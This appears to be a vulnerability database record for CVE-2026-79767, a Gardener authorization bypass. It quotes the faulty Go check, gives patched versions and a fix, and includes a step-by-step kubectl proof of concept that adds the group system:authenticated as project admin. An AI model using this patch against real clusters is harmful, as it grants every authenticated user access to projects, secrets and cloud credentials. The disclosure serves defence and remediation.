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Response snapshot Nov 5, 2026, 01:01 UTC

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VulnerabilityCVE-2026-79767

Gardener: Authorization Bypass via Group Subject Injection

The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list.

Published Updated

At a glance

Exploited
Not known
Severity
5.5 Medium (CVSS 3.1)
Chance of exploitation
0.4% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: github.com/gardener/gardener: 1.142.6; github.com/gardener/gardener: 1.143.3; github.com/gardener/gardener: 1.144.2. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-gfjv-gqf2-c888 (opens a new tab)

What happened

Overview

The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects.

A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access.

Technical Details

Continue reading

The official Gardener documentation at docs/usage/project/projects.md:90-92 explicitly states:

However, the mustCheckProjectMembers() function at admission.go compares old and new member lists using findHumanUsersWithRoles(), which only tracks subjects where isHumanUser() returns true:

func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {
 if apiequality.Semantic.DeepEqual(oldMembers, members) {
 return false
 }
 if userIsOwner(userInfo, owner) {
 return false
 }
 var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)
 // ...
 return !oldHumanUsers.Equal(newHumanUsers)
}

The isHumanUser() function at admission.go only matches Kind == "User":

func isHumanUser(subject rbacv1.Subject) bool {
 return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}

Kind: "Group" subjects are NOT matched by isHumanUser(), making Group member changes invisible to the authorization check. A project admin without manage-members permission can freely add or remove Group members.

Steps to reproduce

---

_Proof of concept:_ 1. Verify current project membership and confirm the owner has manage-members permission:

# Project members before the test:
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner

# Confirm the owner CAN manage-members (expected)
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user
yes

2. Add a second admin user (test-admin-user) to the project WITHOUT the uam role, then confirm they lack manage-members:

# After adding test-admin-user as admin (no uam role):
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin

# Confirm test-admin-user does NOT have manage-members
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user
no

3. Verify test-admin-user cannot add a human User member (the check works for Users):

$ kubectl patch --as=test-admin-user project local --type=merge -p '{
 "spec": {
 "members": [
 {
 "kind": "User",
 "apiGroup": "rbac.authorization.k8s.io",
 "name": "new-human-user@example.com",
 "role": "viewer"
 }
 ]
 }
}'
Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects"

4. Bypass the check by adding a Group subject instead:

# This should be denied but ISN'T - the manage-members check is bypassed
$ kubectl patch project local --as=test-admin-user --type=json -p '[
 {
 "op": "add",
 "path": "/spec/members/-",
 "value": {
 "kind": "Group",
 "apiGroup": "rbac.authorization.k8s.io",
 "name": "system:authenticated",
 "role": "admin",
 "roles": ["admin"]
 }
 }
]'

project.core.gardener.cloud/local patched

5. Verify the Group was added to project members:

$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin
# - apiGroup: rbac.authorization.k8s.io
# kind: Group
# name: system:authenticated
# role: admin

6. Demonstrate the impact - any authenticated user now has project access:

# As a random user 
$ kubectl --as=random-user@example.com get shoots -n garden-local
NAME CLOUDPROFILE PROVIDER REGION K8S VERSION HIBERNATION LAST OPERATION STATUS AGE
local local local local 1.35.0 Awake Create Succeeded (100%) healthy 30m

>_Note: random-user@example.com does not exist as a real user. However, the Kubernetes --as global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the system:authenticated group. Since system:authenticated was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials._

---

Security Impact

- Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including system:authenticated (all authenticated users) or system:unauthenticated (all unauthenticated users).

Patching & Remediation

1. Fix isHumanUser() to include Groups: The function should match the documented behavior. Change:

 func isHumanUser(subject rbacv1.Subject) bool {
 return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
 }

To:

 func isNonServiceAccountSubject(subject rbacv1.Subject) bool {
 if subject.Kind == rbacv1.GroupKind {
 return true
 }
 return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
 }

Affected package ranges reported by GitHub: github.com/gardener/gardener: < 1.142.6 github.com/gardener/gardener: >= 1.143.0, < 1.143.3 github.com/gardener/gardener: >= 1.144.0, < 1.144.2

Scores and how they were measured

CVSS base severity

5.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.4%

Scored Percentile 33.2%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-gfjv-gqf2-c888 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-gfjv-gqf2-c888, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-79767, scored 2026-11-04. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 4). Gardener: Authorization Bypass via Group Subject Injection (CVE-2026-79767). https://kevwire.com/record/CVE-2026-79767

MLA

"Gardener: Authorization Bypass via Group Subject Injection (CVE-2026-79767)." KEVWire, 4 Nov. 2026, kevwire.com/record/CVE-2026-79767.

Chicago

KEVWire. "Gardener: Authorization Bypass via Group Subject Injection (CVE-2026-79767)." Last modified November 4, 2026. https://kevwire.com/record/CVE-2026-79767.

Evidence summary (plain text)

Gardener: Authorization Bypass via Group Subject Injection (Sep 22, 2026).
The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects. A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access.
CVSS 5.5 (version 3.1; evidence as of Nov 4, 2026; https://github.com/advisories/GHSA-gfjv-gqf2-c888).
EPSS 0.4% for the following 30 days, scored Nov 4, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79767&date=2026-11-04).
Sources:
GitHub-reviewed advisory GHSA-gfjv-gqf2-c888: https://github.com/advisories/GHSA-gfjv-gqf2-c888
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79767&date=2026-11-04
Record ID: CVE-2026-79767.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 5, 2026, 00:26 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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